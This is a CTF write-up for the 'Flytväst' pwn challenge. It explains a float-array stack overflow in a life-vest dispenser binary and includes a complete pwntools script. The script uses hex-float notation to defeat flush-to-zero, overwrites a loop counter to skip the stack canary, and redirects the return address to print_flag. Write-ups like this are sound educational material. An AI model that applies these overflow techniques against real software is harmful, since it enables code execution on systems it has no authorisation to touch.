Flytväst
Flytväst
Platform: undutmaning | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-03-21 | Status: Solved Techniques: counter_manipulation, float_array_overflow, hex_float_notation, ret2win
Summary
Task: Float array buffer overflow in life vest dispenser system with FTZ mode enabled. Solution: Use hex float notation (0xNp-149) to bypass Flush-To-Zero, manipulate counter to skip canary, overwrite return address with print_flag.
Flytväst — Undutmaning CTF
Description
Man ska inte ut på sjön utan flytväst! Har du glömt din får du använda en nödflytväst som du beställer i dispensersystemet på undutmaning-flytvast.chals.io.
Men vill du ha en specialflytväst, med RGB-ljus och kazoo istället för visselpipa, då måste du ta dig in i systemet. Tur att du har tillgång till binären!
English summary: A life vest dispenser system that asks for measurements as floating point numbers. The goal is to exploit the binary to access a "special life vest" (get the flag). Binary is provided for analysis.
Analysis
Binary Properties
- ELF 64-bit executable, not PIE (fixed addresses at 0x40xxxx)
- Stack canary enabled, NX enabled
- Contains unreachable
print_flagfunction at address0x4012b6 - The
print_flagfunction reads and prints the flag file
Program Flow
- Main function asks for measurements (mått) as floating point numbers
- Uses
fgetsto read input into buffer - Parses input with
strtod(string to double) - Converts double to float using
cvtsd2ssinstruction - Stores floats in array on stack using formula:
[rbp + (counter+8)*4 - 0x40]
Stack Layout
rbp - 0x40: input buffer (32 bytes)
rbp - 0x20: float array start (after +8 offset in formula)
rbp - 0x10: counter variable (var_10h) - corresponds to INDEX 4
rbp - 0x08: stack canary
rbp + 0x00: saved rbp
rbp + 0x08: return address - corresponds to INDEX 10
Vulnerability
Buffer overflow in float array - no bounds checking on the number of measurements entered. The counter variable at rbp - 0x10 is within the writable range (index 4), allowing us to manipulate it.
Key Challenge: Denormalized Floats
All addresses in the binary (0x40xxxx range) are denormalized floats (exponent bits = 0). The server uses FTZ (Flush-To-Zero) mode, which rounds denormalized floats to zero when using standard decimal notation like 5.88e-39.
The solution is to use hex float notation (0xNp-149) which strtod parses correctly and preserves the exact bit representation for denormalized values.
Solution
Exploitation Strategy
- Send 4 dummy float values (indices 0-3) to fill the array
- At index 4, overwrite the counter with value 9 using hex float notation
- After increment, counter becomes 10, which corresponds to the return address
- At index 10, write
print_flagaddress (0x4012b6) as low bytes - At index 11, write 0 for high bytes
- Send empty line to exit the input loop
- When main returns, execution jumps to
print_flag
Exploit Code
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * import ssl import socket print_flag = 0x4012b6 def int_to_hex_float(val): """Convert integer to hex float notation for denormalized values""" return f"0x{val:x}p-149" # Connect via SSL sock = ssl.create_default_context().wrap_socket( socket.socket(socket.AF_INET, socket.SOCK_STREAM), server_hostname='undutmaning-flytvast.chals.io' ) sock.connect(('undutmaning-flytvast.chals.io', 443)) r = remote.fromsocket(sock) r.recvuntil(b'> ') # Send 4 dummy values (indices 0-3) for i in range(4): r.sendline(b'1.0') r.recvuntil(b'> ') # Index 4: overwrite counter to 9 (becomes 10 after increment) r.sendline(b'0x9p-149') r.recvuntil(b'> ') # Index 10: write return address low bytes (print_flag address) r.sendline(f'0x{print_flag:x}p-149'.encode()) r.recvuntil(b'> ') # Index 11: write return address high bytes (0) r.sendline(b'0') r.recvuntil(b'> ') # Exit loop with empty line r.sendline(b'') print(r.recvall(timeout=5).decode())
Why Hex Float Notation Works
Standard decimal notation for denormalized floats (like 5.88e-39) gets flushed to zero by FTZ mode. However, hex float notation 0xNp-149 is parsed by strtod as an exact binary representation:
0x4012b6p-149means: mantissa = 0x4012b6, exponent = -149- This creates a denormalized float with the exact bit pattern we need
- The conversion from double to float preserves these bits